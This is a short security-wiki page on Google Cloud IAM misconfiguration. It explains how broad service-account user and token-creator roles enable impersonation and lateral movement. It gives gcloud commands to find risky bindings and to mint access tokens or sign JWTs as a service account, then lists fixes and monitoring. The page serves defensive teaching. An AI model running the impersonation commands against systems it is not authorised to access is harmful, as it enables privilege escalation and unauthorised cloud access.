Haxoris Wiki

IAM Misconfig and Lateral Movement

How IAM Misconfig and Lateral Movement works

Granting roles/iam.serviceAccountUser or roles/iam.serviceAccountTokenCreator on powerful service accounts allows impersonation or token minting, enabling lateral movement across projects. Attackers can leverage these roles to obtain access tokens or sign JWTs and act as the service account, often with broad permissions.

IAM Misconfig and Lateral Movement in practice

Find Risky Bindings

gcloud projects get-iam-policy <project> --format=json | jq -r '.bindings[] | select(.role | test("serviceAccount(User|TokenCreator)"))'
gcloud organizations get-iam-policy <org> --format=json | jq -r '.bindings[] | select(.role | test("serviceAccount(User|TokenCreator)"))'

Mint Token

gcloud auth print-access-token --impersonate-service-account=<sa>
gcloud iam service-accounts sign-jwt --iam-account <sa> payload.json output.jwt

How to fix and prevent IAM Misconfig and Lateral Movement

  1. Limit SAUser/TokenCreator to trusted automation
    • Scope to specific service accounts and projects; avoid granting on high‑privilege SAs.
  2. Prefer workload identity federation and short‑lived tokens
    • Replace static keys and broad SA usage with OIDC‑based federation and per‑workload identities.
  3. Monitor and prevent
    • Alert on GenerateAccessToken, SignJwt, and SignBlob in Audit Logs; use IAM Deny policies to forbid impersonation of Tier‑0 SAs.

Last updated

References